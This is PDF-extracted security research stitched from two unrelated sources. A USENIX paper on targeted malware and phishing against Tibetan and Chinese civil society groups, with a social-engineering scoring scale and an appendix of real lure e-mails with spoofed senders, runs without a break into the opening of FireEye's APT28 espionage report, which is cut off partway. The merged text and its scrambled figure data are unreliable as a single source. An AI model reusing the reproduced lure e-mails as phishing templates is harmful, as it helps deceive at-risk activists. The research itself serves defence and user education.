United Nations, Central Tibetan Administration People 31 His Holiness the Dalai Lama, Hu Jintao Political 6 human rights, terrorism Technology 5 software updates, virtual private servers Miscellaneous 1 content without clear context which falls outside of the other themes trojan we call IEXPL0RE [22] China Group 1 received the malware in e-mails claiming to be from personal friends whereas China Group 2 received the malware in an e-mail containing a story about a high-rise apartment building fire in China. In contrast, Tibet Group 1 re- ceived the malware embedded into a video of a speech by the Dalai Lama, attached to an e-mail about a year in review of Tibetan human rights issues. 4.2.2 Social Engineering Sophistication Base Value While the content analysis results clearly show attacks tailored to the interests of targeted groups, content cod- ing alone does not give a relative score of the sophistica- tion used in the attacks. We now describe how we assign the social engineering sophistication base value to e- mails based on their level of social engineering. To measure the targeting sophistication we assign a score that ranges from 0-5 that rates the social engineer- ing techniques used to get the victim to open the attach- ment. This score considers the content and presentation of the e-mail message as well as the claimed sender iden- tity. This determination also includes the content of any associated files, as malware is often implanted into legit- imate relevant documents to evade suspicion from users when the malicious documents are opened. The Social Engineering Sophistication Base Value is assigned based on the following criteria: 0 Not Targeted: Recipient does not appear to be a spe- cific target. Content is not relevant to the recipient. The e-mail is likely spam or a non-targeted phishing attempt. 1 Targeted Not Customized: Recipient is a specific target. Content is not relevant to the recipient or contains information that is obviously false with little to no valida- tion required by the recipient. The e-mail header and/or signature do not reference a real person or organization. 2 Targeted Poorly Customized: Recipient is a specific target. Content is generally relevant to the target but has attributes that make it appear questionable (e.g. incom- plete text, poor spelling and grammar, incorrect address- ing). The e-mail header and / or signature may reference a real person or organization. 3 Targeted Customized: Recipient is a specific target. Content is relevant to the target and may repurpose legit- imate information (such as a news article, press release, conference or event website) and can be externally ver- ified (e.g. message references information that can be found on a website). Or, the e-mail text appears to re- purpose legitimate e-mail messages that may have been collected from public mailing lists or from compromised accounts. The e-mail header and / or signature references a real person or organization. 4 Targeted Personalized: Recipient is a specific target. The e-mail message is personalized for the recipient or target organization (e.g. specifically addressed or refer- ring to individual and / or organization by name). Con- tent is relevant to the target and may repurpose legitimate information that can be externally verified or appears to repurpose legitimate messages. The e-mail header and / or signature references a real person or organization. 5 Targeted Highly Personalized: Recipient is a spe- cific target. The e-mail message is individually person- alized and customized for the recipient and references confidential / sensitive information that is directly rele- vant to the target (e.g. internal meeting minutes, com- promised communications from the organization). The e-mail header and / or signature references a real person or organization. Content coding of emails and determinations of so- cial engineering ratings for the TTI were performed by five independent coders who were given a code book for content categories and the TTI social engineering scale with examples to guide analysis. We performed regu- lar inter-rater reliability checks and flagged any poten- tial edge cases and inconsistencies for discussion and re- evaluation. Following completion of this analysis, two of the authors reviewed the social engineering base value scores to ensure consistency and conformity to the scale. We provide specific examples of each of these targeting values in Appendix A. 7 534 23rd USENIX Security Symposium USENIX Association 0 0.2 0.4 0.6 0.8 1 1 2 3 4 5 Fr ac tio n of S ub m iss io ns Social Engineering Sophistication Base Value China Group 1 China Group 3 Tibet Group 1 Tibet Group 2 Tibet Group 4 Figure 3: Social engineering sophistication base value assigned to e-mail submissions from groups that submit- ted at least 50 e-mails. 4.2.3 Summary of Social Engineering Sophistica- tion Base Value Figure 3 shows the targeting score for organizations in our study who submitted at least 50 e-mails. We can see that actors targeting these groups put significant effort into targeting their messages, in particular the three Ti- betan groups included in Figure 3 observe more than half of their messages with a targeting score of 3 or higher. This result means adversaries are taking care to make the e-mail appear to come from a legitimate individual or or- ganization, and include relevant information (e.g., news reports or exchanges from public mailing lists). Higher targeting scores, which result from actions such as per- sonalizing lures to an individual in the group, or includ- ing information that requires prior reconnaissance tend to be more rare, but we do observe instances of them. For example, in the case of China Group 3, we observed an e-mail which received a social engineering score of 5, which claimed to be from the groups funder and refer- enced a specific meeting they had planned that was not public knowledge. 4.3 Technical Sophistication We manually analyzed all submitted emails and attach- ments to determine whether they contained politically- motivated malware. The malware is then analyzed in de- tail to extract information such as the vulnerability, CC server (if present), and technical sophistication of the ex- ploit. 4.3.1 Assessment methodology The first step in our analysis pipeline is determining whether the email contains politically motivated malware or not. This process involves an initial inspection for social engineering of the email message and attachment (e.g., an executable pretending to be a document). We also correlate with other emails received as part of this project to identify already-known malware. Well-known malware attacks (e.g., the Zeus trojan masquerading as an email from the ACH credit card payment processor, or Bredolab malware pretending to be from the DHL courier service) are not considered targeted attacks in our study, but are still kept for potential review. Once we have identified emails which we suspect of containing politically-motivated malware, we perform the following analysis steps on any attachments to ver- ify that they indeed contain malware. First, we run the attachment in a sandboxed VM to look for malicious ac- tivity e.g., an Office document writing files to disk or try- ing to connect to a CC server. We also check the MD5 hash of the attachment against the Virus Total database to see if it matches existing viruses. We also manually ex- amine the attached file for signs of malicious intent (e.g., executable payload in a PDF, shellcode or Javascript). We exclude any graphics attached to the email which are used for social engineering (and do not contain malicious payload) from our analysis. We follow this initial analysis with more detailed tech- nical analysis of the attachments which we confirm con- tain malware. First, we manually verify the file type of the attachment for overview statistics. This manual anal- ysis is necessary as the Unix file command may be mis- led by methods of manipulating important bytes in the file (e.g., replacing \rtf1 with \rtf[null]). We then iden- tify if the vulnerability included in the malware already exists in a corpus of vulnerabilities, such as the Com- mon Vulnerabilities and Exposures (CVE) naming sys- tem. We also perform analysis of network traffic from the attachment to identify the CC server the malware attempts to contact. In cases where the malware does not execute in our controlled environment we manually examine the file to extract the relevant information. On a case-by-case basis we use additional tools such as IDA [1] and OllyDbg [3] for detailed static and dy- namic analysis, respectively. Our goal in this analysis is to identify relationships between malware campaigns between organizations, or instances of the same malware family repeatedly targeting a given organization. By ob- serving overlapping CC servers, or mapping malware to common exploits identified by anti virus/security com- panies we can cluster attacks that we believe come from the same malware family and potentially the same adver- sary. 4.3.2 Technical Sophistication Multiplier While the previous analysis is useful for understanding the nature of threats, we also score threats numerically to aid in understanding the relative technical sophistication of their approaches. Each malware sample is assigned one of the following values: 1 Not Protected - The sample contains no code protec- 8 USENIX Association 23rd USENIX Security Symposium 535 tion such as packing, obfuscation (e.g. simple rotation of interesting or identifying strings), or anti-reversing tricks. 1.25 Minor Protection - The sample contains a sim- ple method of protection, such as one of the following: code protection using publicly available tools where the reverse method is available, such as UPX packing sim- ple anti-reversing techniques such as not using import tables, or a call to IsDebuggerPresent() self-disabling in the presence of AV software. 1.5 Multiple Minor Protection Techniques - The sam- ple contains multiple distinct minor code protection tech- niques (anti-reversing tricks, packing, VM / reversing tools detection) that require some low-level knowledge. This level includes malware where code that contains the core functionality of the program is decrypted only in memory. 1.75 Advanced Protection - The sample contains mi- nor code protection techniques along with at least one advanced protection method such as rootkit functionality or a custom virtualized packer. 2 Multiple Advanced Protection Techniques - The sample contains multiple distinct advanced protection techniques, e.g. rootkit capability, virtualized packer, multiple anti-reversing techniques, and is clearly de- signed by a professional software engineering team. The purpose of the technical sophistication multiplier is to measure how well the payload of the malware can conceal its presence on a compromised machine. We use a multiplier because advanced malware requires signif- icantly more time and effort (or money, in the case of commercial solutions) to customize for a particular tar- get. We focus on the level of obfuscation used to hide pro- gram functionality and avoid detection for the follow- ing reasons: (1) It allows the compromised system to remain infected for a longer period (2) it hinders ana- lysts from dissecting a sample and developing instruc- tions to detect the malware and disinfect a compromised system (3) since most common used remote access tro- jans (RATs) have the same core functionality (e.g. key- logging, running commands, exfiltrating data, control- ling microphones and webcams, etc.) the level of ob- fuscation used to conceal what the malware is doing can be used to distinguish one RAT from another. 4.3.3 Summary of Technical Sophistication Multi- plier Value Figure 4 shows the technical sophistication multiplier values for e-mails submitted by the different organiza- tions in our study. One key observation we make here is that the email-based targeted malware that was self- 0 0.2 0.4 0.6 0.8 1 1 1.25 1.5 Fr ac tio n of su bm is si on s Technical Sophistication Multiplier China Group 1 China Group 3 Tibet Group 1 Tibet Group 2 Tibet Group 4 Figure 4: Technical sophistication multiplier assigned to e-mail submissions from groups that submitted at least 50 e-mails. reported by our study groups is relatively simple. The highest multiplier value we see is 1.5 and even that value is seen infrequently. The majority of malware observed is rated either 1 or 1.25 according to our technical scoring criteria, with Tibetan Groups observing a higher fraction of malware rated 1.25 and Chinese groups observing a higher fraction rated 1. The technical sophistication multiplier value is also useful for assessing the technical evolution of threats in our study. When we group malware into different fam- ily groups we can see some of these groups are under active development. For example, we observe multiple versions of the Enfal [40, 49], Mongal [14], and Gh0st RAT [15] families with increasing levels of sophistica- tion and defenses in place to protect the malware code (resulting in an increase in technical multiplier from 1 to 1.25 for these families). Since our technical multiplier value focuses on how well malware code defends and disguises itself, changes to other aspects of the code may not result in an increase in value (e.g., we observe multi- ple versions of the IMuler. A/Revir. A malware which all receive a score of 1). Interestingly, when we observe both a Windows and Mac version of a given malware family, the technical score for the Mac version tended to be lower with the Mac version being relatively primitive relative to the Windows variant. 4.4 TTI Results We now show how the TTI metric can help us better char- acterize the relative threat posed by targeted malware. Figure 5 shows the technical sophistication multiplier and maximum/minimum TTI scores for malware fami- lies observed in our dataset. Since we primarily observe simple malware, with a technical sophistication multi- plier of 1 or 1.25, this value does a poor job of differen- tiating the threat posed by the different malware families to the CSOs. However, by incorporating both the tech- nical sophistication and targeting base value into the TTI metric we can gain more insights into how effective these 9 536 23rd USENIX Security Symposium USENIX Association 0 1 2 3 4 5 6 7 G h0 st R AT sh ad ow ne t du oj ee n Su rtr V id gr ab Pl ug X U D P 90 02 Ez co b G h0 st R AT C C TV 0 In st a1 1 M on ga l ne ttr av el er n et pa ss Q ua ria n R e g Su bD at Sc ar .h ik n 31 02 W M IS cr ip tK id s IM ul er M ira ge la te r v ar ia nt R ile r En fa l L ur id X tre m e R at TT I/T ec hn ic al S op hi st ic at io n Sc or e Malware Family Minimum TTI Maximum TTI Technical Sophistication Multiplier Figure 5: Comparison of the maximum and minimum TTI score and technical sophistication multiplied for malware families observed in our data (sorted in decreas- ing order of maximum TTI). threats may be in practice. The impact of using TTI is especially apparent when trying to gain insights into the targeted malware that poses the biggest risk to CSOs. Table 4 shows the top 5 malware families we observe in terms of technical so- phistication and in terms of TTI score. If we consider the malware families with the highest technical sophistica- tion, we can see that their TTI values are relatively low, with maximums ranging from 1.5 to 4.5. These tend to be malware families that are familiar to researchers. In par- ticular, PlugX and PoisonIvy have been used in targeted attacks together [43] and PlugX is still actively used and under constant development [16]. Despite technical so- phistication, the social engineering lures of these threats are not well crafted and pose less of a risk to the CSOs whose members may be able to identify and avoid these threats. In contrast, the top 5 malware families in terms of TTI have lower technical sophistication (1.25) but much higher levels of social engineering. It is no surprise that threats which score the highest TTI use well known mal- ware that have been extensively documented in attacks against a variety of targets. For example, the TTI scores reflect that Gh0st RAT continues to be seen in higher risk attacks due to its popularity amongst attackers even though it is an older and not particularly advanced tool. Since there is no direct connection between the technical sophistication of threats and the level of social engineer- ing used to target CSOs, it is likely that different threat actors, with a different focus, are at work here. Indeed, Gh0st RAT was discovered by the Citizen Lab in their analysis of GhostNet [25] and IEXPL0RE RAT was dis- covered and named for the first time in our work. Another observation is that commercial malware such as FinFisher and DaVinci RCS, while being of much higher technical sophistication (relative to the samples in Table 4: Top malware families in our data set in terms of technical sophistication multiplier and in terms of final TTI score. Technical Sophistication Family TTI Tech. Soph. 3102 3 1.5 nAspyUpdate 1.5 1.5 PlugX 4.5 1.5 PoisonIvy 3 1.5 WMIScriptKids 3 1.5 TTI Family TTI Tech. Soph. . Gh0stRAT LURK0 6.25 1.25 shadownet 6.25 1.25 conime 5 1.25 duojeen 5 1.25 iexpl0re 5 1.25 our study), do not necessarily score higher on TTI than a targeted attack with advanced social engineering and more basic malware. For example, analyzing a FinFisher sample targeted against Bahraini activists [38] with the TTI, produces an overall TTI score that is dependent on the social targeting aspect, even though the malware is very technically advanced. In this case, the FinFisher at- tack scores 4.0 on the TTI (base targeting score of 2 with a technical multiplier of 2). Although the email used in the attack references the name and organization of a real journalist, the content is poorly customized, and has attributes that look questionable. However, the techni- cal sophistication of the malware is advanced earning it a score of 2 due to multiple advanced protection tech- niques, including a custom-written virtualized packer, MBR modification, and rootkit functionality. The sample also uses multiple minor forms of protection, including at least half a dozen anti-debugging tricks. Even though the technical multiplier is the maximum value, the over- all TTI score is only 4.0 due to the low targeting base value. FinFisher is only effective if it is surreptitiously installed on a users computer. If the malware is deliv- ered through an email attachment, infection is only suc- cessful if the user opens the malicious file. The advanced nature of this malware will cause the overall score to in- crease quickly with improved targeting, but as it still re- quires user intervention, this threat scores lower overall than attacks with highly targeted social engineering us- ing less sophisticated malware. Similar findings can also be observed in attacks using DaVinci RCS developed by Italy-based company Hack- ing Team against activists and independent media groups from the United Arab Emirates and Morocco [36]. While the malware used in these publicly reported attacks is 10 USENIX Association 23rd USENIX Security Symposium 537 technically sophisticated, the social engineering lures employed are poorly customized for the targets result- ing in a 4.0 TTI score (targeting base value 2, technical multiplier 2). These results support the idea that different threat ac- tors have varying focuses and levels of resources, and as a result, different methodologies for attacks. For ex- ample, the majority of malware submitted by our study groups appear to be from adversaries that have in-house malware development capabilities and the capacity to organize and implement targeted malware campaigns. These adversaries are spending significant effort on so- cial engineering, but generally do not use technically advanced malware. Conversely, the adversaries using FinFisher and DaVinci RCS have bought these products rather than develop malware themselves. However, while the FinFisher and RCS samples are technically sophisti- cated pieces of malware, the attacks we analyzed are not sophisticated in terms of social engineering tactics. 4.5 Limitations of TTI While the Targeted Threat Index gives insight into the distribution of how sophisticated threats are, we are still in the process of evaluating and refining it through in- teractions with the groups in our study and inclusion of more sophisticated threats observed in related investiga- tions in our lab. Average TTI scores in our dataset may be skewed due to the self-reporting method we use in the study. Very good threats are less likely to be noticed and reported while being sent to far fewer people, and low- quality emails are much more likely to be sent in bulk and stand out. It is also possible that individuals in differ- ent groups may be more diligent in submitting samples, which could affect between group comparisons. We are more interested, however, in worst-case (highest) scores and not in comparing the average threat severity between organizations. Finally, this metric is calculated based on the technical sophistication of the payload, not on the specific exploit. There is currently no method to modify the TTI score in a way similar to the temporal metrics used by the CVSS metric. A temporal metric could be added to increase the final TTI value for 0-day vulnerabilities, or possibly to reduce the score for exploits that are easily detectable due to a public and well-known generation script, e.g. Metasploit [2]. 5 Implications Our study primarily focuses on threats that groups work- ing on human rights issues related to Tibet or China are currently facing. While our dataset is concentrated on these types of groups, our results have implications for how CSOs can protect themselves against email-based targeted malware. Specifically, we find that moving towards cloud-based platforms (e.g., Google Docs) instead of relying on e- mail attachments would prevent more than 95 of the e-mail malware seen by 2 out of 3 Tibetan groups that had more than 50 e-mail submissions. Further, our results highlight the potential for lower- cost user education initiatives to guard against sophis- ticated social engineering attacks, rather than high cost technical solutions. This observation stems from the fact that much of the malware we observe is not technically sophisticated, but rather relies on social engineering to deliver its payload by convincing users to open malicious attachments or links. Other studies [35, 36, 38] that have revealed the use of commercial malware products against CSOs and journalists have shown that many of these cases also rely on duping users into opening malicious e-mail attachments or social engineered instant messag- ing conversations. These incidents show that even ad- vanced targeted malware requires successful exploitation of users through social engineering tactics. User education can be a powerful tool against the kinds of targeted attacks we observed in this study. In- deed, the Tibetan community has taken an active ap- proach with campaigns that urge Tibetan users to not send or open attachments and suggests alternative cloud based options such as Google Docs and Dropbox for sharing documents [53]. We have also engaged the Ti- betan groups in a series of workshops to introduce train- ing curriculum which draws on examples submitted by organizations participating in our study. We have also provided them with technical background to identify sus- picious e-mail headers and how to use free services to check the validity of suspicious links in e-mail messages. The mitigation strategies presented here are focused on email vectors and do not consider all of the possible attacks these groups may face. We highlight these strate- gies in particular because the majority of groups in our study identified document-based targeted malware as a high priority information security concern. The adver- saries behind these attacks are highly motivated and will likely adapt their tactics as users change their behaviors. For example, it is plausible that if every user in a partic- ular community began to avoid opening attachments and document-based malware infected fewer targets, attack- ers may move on to vectors such as waterhole attacks or attacks on cloud document platforms to fill the gap. User education and awareness raising activities need to be on- going efforts that are informed by current research on the state of threats particular communities are experiencing. Evaluation of the effectiveness of user education efforts in at risk communities and corresponding reactions from attackers is required to understand the dynamics between 11 538 23rd USENIX Security Symposium USENIX Association these processes. 6 Related Work There is a wide body of literature on filtering and detec- tion methods for spam [27,42,45,52,70,71] and phishing emails and websites [12, 34, 39, 69]. Attention has also been given to evaluating user behavior around phishing attacks and techniques for evading them [6, 30, 33]. By comparison research on detecting email vectors used for targeted malware attacks is limited. A notable excep- tion is [4, 5], which uses threat and recipient features with a random forest classifier to detect targeted mali- cious emails in a dataset from a large Fortune 500 com- pany. Other work has focused on imporoving detection of documents (e.g. PDF, Microsoft Office) with embed- ded malicious code [13, 51, 57] Another area of research explores methods for model- ing the stages of targeted attacks and using these mod- els to develop defenses. Guira and Wang [19] propose a conceptual attack model called the attack pyramid to model targeted attacks and identify features that can be detected at the various stages. Hutchins, Cloppert and Amin, [24] use a kill chain model to track targeted at- tack campaigns and inform defensive strategies. Metrics have been developed to characterize security vulnerabilities and their severity [7, 41, 50]. The indus- try standard is the Common Vulnerability Scoring Sys- tem (CVSS) [17], which uses three metric groups for characterizing vulnerabilities and their impacts. These groups are: base metric group (the intrinsic and fun- damental characteristics of a vulnerability that are con- stant over time and user environments), temporal metric group (characteristics of a vulnerability that change over time but not among user environments) and environmen- tal metric group (characteristics of a vulnerability that are relevant and unique to a particular users environ- ment). The CVSS is a widely adopted metric, but only rates technical vulnerabilities. Targeted attacks rely on a user action of opening a malicious attachment or visiting a malicious link to successfully compromise a system. Therefore, the sophistication of message lures and other social engineering tactics are an important part of deter- mining the severity of a targeted attack. Systems like the CVSS cannot address this contextual component. Our study makes the following contributions to the literature. Previous studies of targeted attacks against CSOs usually focus on particular incidents or campaigns and do not include longitudinal observations of attacks against a range of CSO targets. While standards exist for rating the sophistication of technical vulnerabilities and research has been done on detecting targeted mal- ware attacks and modeling campaigns, there is no scor- ing system that considers both the sophistication of mal- ware and social engineering tactics used in targeted mal- ware attacks. We address this gap through development of the TTI and validate the metric against four years of data collected from 10 CSOs. 7 Conclusions Our study provides an in-depth look at targeted malware threats faced by CSOs. We find that considering the technical sophistication of these threats alone is insuf- ficient and that educating users about social engineer- ing tactics used by adversaries can be a powerful tool for improving the security of these organizations. Our results point to simple steps groups can take to protect themselves from document-based targeted malware such as shifting to cloud-based document platforms instead of relying on attachments which can contain exploits. Further research is needed to measure the effectiveness of education strategies for changing user behaviour and how effective these efforts are in mitigation of document- based malware for CSOs. Further work is also required in monitoring how attackers adapt tactics in response to observed behavioural changes in targeted communities. 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From: world fdc fdc2008parisgmail.com To: [Tibet Group 1] Subject: Invitation Please reply 1 Attachment: invitation.doc Figure 6: Example of e-mail with Targeting Score 1 From: ciran nima nimacirangmail.com To: [Tibet Group 1] Date: 18 Aug 2011 Subject: Truth of monk dies after setting himself on fire Truth of monk dies after setting himself on fire 1 Attachment: Truth of monk dies after setting himself on fire.doc Figure 7: Example of e-mail with Targeting Score 2 Notes 1 We report on results from other collection sources (e.g. NIDS alerts, website monitoring, and interviews), and cluster anal- ysis of campaigns in a forthcoming technical report available at https://citizenlab/targeted-threats Appendix A Examples of targeted e-mails In this section, we provide specific examples of e-mails that would be assigned targeting scores described in Sec- tion 4.2.2. Targeting Score 1 (Targeted Not customized). The e- mail in Figure 6 was sent to Tibet group 1. The message content and sender are vague and do not relate to the in- terest of the group. The attachment is a word document implanted with malware. The lack of relevant informa- tion in this message gives it a score of 1 (targeted, not customized). Targeting Score 2 (Targeted, Poorly Customized). The e-mail in Figure 7 was sent to Tibet group 1. It refer- ences Tibetan self-immolations which is an issue of inter- est to the group. However, the sender does not appear to be from a real person or organization. The message con- tent is terse and does not referenced information that can be externally validated. Therefore this message scores a 2 (targeted, poorly customized). 14 USENIX Association 23rd USENIX Security Symposium 541 From: Palden Sangpo palden.sangpotibetancareers.org Subject: Activity Report from Tibetan Career Centre, Bylakuppe Date: 24 Jan 2013 To: [Tibet Group 2] Dear Sir/Madam, Tashi Delek. Please find the attachment of the activity report of Tibetan Career Centre, Bylakuppe with this mail. As I was asked to send this activity report to your office. Thank you. Regards, Palden Sangpo, Consultant. Tibetan Career Centre, Old Guest House, Lugsam Tibetan Settlement Office, PO Bylakuppe, Mysore District, Karnataka State - 571 104 E-mail: palden.sangpotibetancareers.org, MO 91 9901407808, Off 91 8971551644 www.tibet.jobeestan.com 1 Attachment: Report to CTA home.doc Figure 8: Example of e-mail with Targeting Score 3 Targeting Score 3 (Targeted Customized). The e- mail in Figure 8 was sent to Tibet group 2. On the sur- face it appears to be a professional e-mail from Palden Sangpo a consultant at the Tibet Career Centre. The e-mail sender address and signature reference accurate contact details that can be easily verified through an In- ternet search. However, the e-mail headers reveal the purported e-mail sender address is fraudulent and the actual sender was albano_kuqogmx.com. The e-mail generally addresses the organization rather than the indi- vidual recipient. Therefore this message scores a 3 (tar- geted, customized). Targeting Score 4 (Targeted Personalized). The e- mail in Figure 9 was sent to Tibet group 1. It is directly addressed to the director of the group and appears to come from Mr. Cheng Li, a prominent China scholar based at the Brookings Institute. The e-mail address is made to appear to be from Mr. Cheng Li, but from an AOL account (chengli.brookingsaol.com) that was registered by the attackers. The message asks the recip- ient for information on recent Tibetan self-immolations. The level of customization and personalization used in From: Cheng Li chengli.brookingsaol.com Subject:Happy Tib Losar and Ask You a Favour 23 Feb 2012 To: [Tibet Group 1] Dear [Redacted] I am Cheng Li from John L. Thornton China Center of Brookings. I will attend an annual meeting on Religious Research with CIIS in Shanghai next week, and plan to take the chance to visit Tibet. Attached is a list of tibetans who have self-immolated from 2009 which my assistant prepared for me, but i am not sure of its accuracy. Would you please have a look and make necessary corrections. I will be really much appreciated if you could do me the favor and offer some more information about the latest happenings inside tibet. Thank you again and happy Tib losar Cheng Li Director of Research, John L. Thornton China Center Brookings Institution 1 Attachment: list_of_self_immolations. xls Figure 9: Example of e-mail with Targeting Score 4 this message gives it a score of 4 (targeted, personalized). Targeting Score 5 (Targeted Highly Personalized). Targeting scores of 5 (targeted, highly personalized) re- quire reference to internal information to the target orga- nization that could not be obtained through open sources. Examples of messages scoring at this level include an e-mail that purported to come from a funder of China Group 3 that provided details of an upcoming meeting the group actually had scheduled with the funder. In another example, Tibet Group 2 and Tibet Group 3 re- ceived separate e-mails that contained specific personal details about a South African groups visit to Dharam- sala, India that appear to have been repurposed from a real private communication. The malicious attachment contained an authentic travel itinerary, which would be displayed after the user opened the document. The pri- vate information used in these messages suggest that the attackers performed significant reconnaissance of these groups and likely obtained the information through prior compromise. 15 APT28: A WINDOW INTO RUSSIAS CYBER ESPIONAGE OPERATIONS? SPECIAL REPORT SECURITY REIMAGINED 2 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? EXECUTIVE SUMMARY ................................................................................................................................................................................................................................................................................... 3 APT28 TARGETING REFLECTS RUSSIAN INTERESTS ........................................................................................................................................................................ 6 APT28 interest in the Caucasus, Particularly Georgia ........................................................................................................................................................... 7 APT28 Targeting of the Georgian Ministry of Internal Affairs (MIA) ....................................................................................... 8 APT28 Targeting of the Georgian Ministry of Defense ....................................................................................................................................... 9 APT28 Targeting a Journalist Covering the Caucasus ...................................................................................................................................... 10 APT28s Other Targets in the Caucasus ....................................................................................................................................................................................... 11 APT28 Targeting of Eastern European Governments and Militaries ................................................................................................... 12 APT28 Targeting of NATO and Other European Security Organizations .................................................................................... 14 APT28 Targets European Defense Exhibitions ............................................................................................................................................................... 16 Other APT28 Targets Are Consistent With Nation State Interests ........................................................................................................ 17 APT28 MALWARE INDICATES SKILLED RUSSIAN DEVELOPERS ........................................................................................................................ 19 Modular Implants Indicate a Formal Development Environment............................................................................................................... 24 APT28 Malware Indicates Russian Speakers in a Russian Time Zone ................................................................................................ 25 Compile Times Align with Working Hours in Moscow and St. Petersburg ............................................................... 27 CONCLUSION ................................................................................................................................................................................................................................................................................................................. 28 APPENDIX A: DISTINGUISHING THREAT GROUPS ......................................................................................................................................................................... 29 APPENDIX B: TIMELINE OF APT28 LURES ......................................................................................................................................................................................................... 30 APPENDIX C: SOURFACE/CORESHELL ..................................................................................................................................................................................................................... 31 APPENDIX D: CHOPSTICK ................................................................................................................................................................................................................................................................... 35 APPENDIX E: OLDBAIT ................................................................................................................................................................................................................................................................................ 43 CONTENTS 3 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? 1 Markoff, John. Before the Gunfire, Cyberattacks. The New York Times 12 August 2008. Web. http://www.nytimes.com/2008/08/13/technology/13cyber.html 2 Knowlton, Brian. Military Computer Attack Confirmed. The New York Times. 25 August 2010. Web. http://www.nytimes.com/2010/08/26/ technology/26cyber.html EXECUTIVE SUMMARY In this paper we discuss a threat group whose malware is already fairly well-known in the cybersecurity community. This group, unlike the China-based threat actors we track, does not appear to conduct widespread intellectual property theft for economic gain. Nor have we observed the group steal and profit from financial account information. The activity that we profile in this paper appears to be the work of a skilled team of developers and operators collecting intelligence on defense and geopolitical issues intelligence that would only be useful to a government. We believe that this is an advanced persistent threat (APT) group engaged in espionage against political and military targets including the country of Georgia, Eastern European governments and militaries, and European security organizations since at least 2007. They compile malware samples with Russian language settings during working hours consistent with the time zone of Russias major cities, including Moscow and St. Petersburg. While we dont have pictures of a building, personas to reveal, or a government agency to name, what we do have is evidence of long- standing, focused operations that indicate a government sponsor specifically, a government based in Moscow. We are tracking this group as APT28. Our clients often ask us to assess the threat Russia poses in cyberspace. Russia has long been a whispered frontrunner among capable nations for performing sophisticated network operations. This perception is due in part to the Russian governments alleged involvement in the cyber attacks accompanying its invasion of Georgia in 2008, as well as the rampant speculation that Moscow was behind a major U.S. Department of Defense network compromise, also in 2008. These rumored activities, combined with a dearth of hard evidence, have made Russia into something of a phantom in cyberspace. 4 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? KEY FINDINGS GEORGIA EASTERN EUROPE SECURITY ORGANIZATIONS APT28 likely seeks to collect intelligence about Georgias security and political dynamics by targeting officials working for the Ministry of Internal Affairs and the Ministry of Defense. APT28 has demonstrated interest in Eastern European governments and security organizations. These victims would provide the Russian government with an ability to predict policymaker intentions and gauge its ability to influence public opinion. APT28 appeared to target individuals affiliated with European security organizations and global multilateral institutions. The Russian government has long cited European security organizations like NATO and the OSCE as existential threats, particularly during periods of increased tension in Europe. APT28 targets insider information related to governments, militaries, and security organizations that would likely benefit the Russian government. 5 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? KEY FINDINGS Malware compile times suggest that APT28 developers have consistently updated their tools over the last seven years. APT28 malware, in particular the family of modular backdoors that we call CHOPSTICK, indicates a formal code development environment. Such an environment would almost certainly be required to track and define the various modules that can be included in the backdoor at compile time. APT28 tailors implants for specific victim environments. They steal data by configuring their implants to send data out of the network using a victim networks mail server. Several of APT28s malware samples contain counter- analysis capabilities including runtime checks to identify an analysis environment, obfuscated strings unpacked at runtime, and the inclusion of unused machine instructions to slow analysis. Indicators in APT28s malware suggest that the group consists of Russian speakers operating during business hours in Russias major cities. More than half of the malware samples with Portable Executable (PE) resources that we have attributed to APT28 included Russian language settings (as opposed to neutral or English settings), suggesting that a significant portion of APT28 malware was compiled in a Russian language build environment consistently over the course of six years (2007 to 2013). Over 96 of the malware samples we have attributed to APT28 were compiled between Monday and Friday. More than 89 were compiled between 8AM and 6PM in the UTC4 time zone, which parallels the working hours in Moscow and St. Petersburg. These samples had compile dates ranging from mid-2007 to September 2014. Since 2007, APT28 has systematically evolved its malware, using flexible and lasting platforms indicative of plans for long-term use. The coding practices evident in the groups malware suggest both a high level of skill and an interest in complicating reverse engineering efforts. Malware compile times suggest that APT28 developers have consistently updated their tools over the last seven years. 6 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? Three themes in APT28s targeting clearly reflect areas of specific interest to an Eastern European government, most likely the Russian government. 7 Bloomberg. Neiman Marcus Hackers Set Off 60,000 Alerts While Bagging Credit Card Data. February 2014. 8 Ibid. 9 Ibid. APT28 TARGETING REFLECTS M any of APT28s targets align generally with interests that are typical of any government. However, three themes in APT28s targeting clearly reflects areas of specific interest to an Eastern European government, most likely the Russian government. These include the Caucasus (especially the Georgian government), Eastern European governments and militaries, and specific security organizations. APT28 uses spearphishing emails to target its victims, a common tactic in which the threat group crafts its emails to mention specific topics (lures) relevant to recipients. This increases the likelihood that recipients will believe that the email is legitimate and will be interested in opening the message, opening any attached files, or clicking on a link in the body of the email. Since spearphishing lures are tailored to the recipients whose accounts APT28 hopes to breach, the subjects of the lures provide clues as to APT28s targets and interests. For example, if the groups lures repeatedly refer to the Caucasus, then this most likely indicates that APT28 is trying to gain access to the accounts of individuals whose work pertains to the Caucasus. Similarly, APT28s practice of registering domains that mimic those of legitimate news, politics, or other websites indicates topics that are relevant to APT28s targets. We identified three themes in APT28s lures and registered domains, which together are particularly relevant to the Russian government. In addition to these themes, we have seen APT28 target a range of political and military organizations. We assess that the work of these organizations serves nation state governments. RUSSIAN INTERESTS The Caucasus, particularly the country of Georgia Eastern European governments and militaries The North Atlantic Treaty Organization (NATO) and other European security organizations APT 28: Three Themes 7 fireeye.com APT 28: A Window into Russias Cyber Espionage Operations? T he Caucasus, a region that includes Chechnya and other Russian republics and the independent states of Georgia, Armenia, and Azerbaijan, continues to experience political unrest. The Georgian governments posture and ties to the West are a frequent source of Moscows frustration, particularly after the 2008 war. Overall, issues in the Caucasus likely serve as focal points for Russian intelligence collection efforts. APT28 INTEREST IN THE CAUCASUS, PARTICULARLY GEORGIA Since 2011, APT28 has used lures written in Georgian that are probably intended to target Georgian government agencies or citizens. APT28 is likely seeking information on Georgias security and diplomatic postures. Specifically, the group has targeted the Georgian Ministry of Internal Affairs (MIA) and the Ministry of Defense (MOD). We also observed efforts to target a journalist working on issues in the Caucasus and a controversial Chechen news site. RUSSIA Chechnya GEORGIA Abkhazia TURKEY ARMENIA AZERBAIJAN Tbilisi Armenian Military Yerevan Kavkaz Center 8 fireeye.com APT28 Targeting of the Georgian Ministry of Internal Affairs (MIA) The MIA harbors sensitive information about the inner workings of Georgias security operations, the countrys engagement in multilateral institutions, and the governments communications backbone. It is responsible for3: Policing, internal security, and border patrols Counterintelligence Counterterrorism International relations 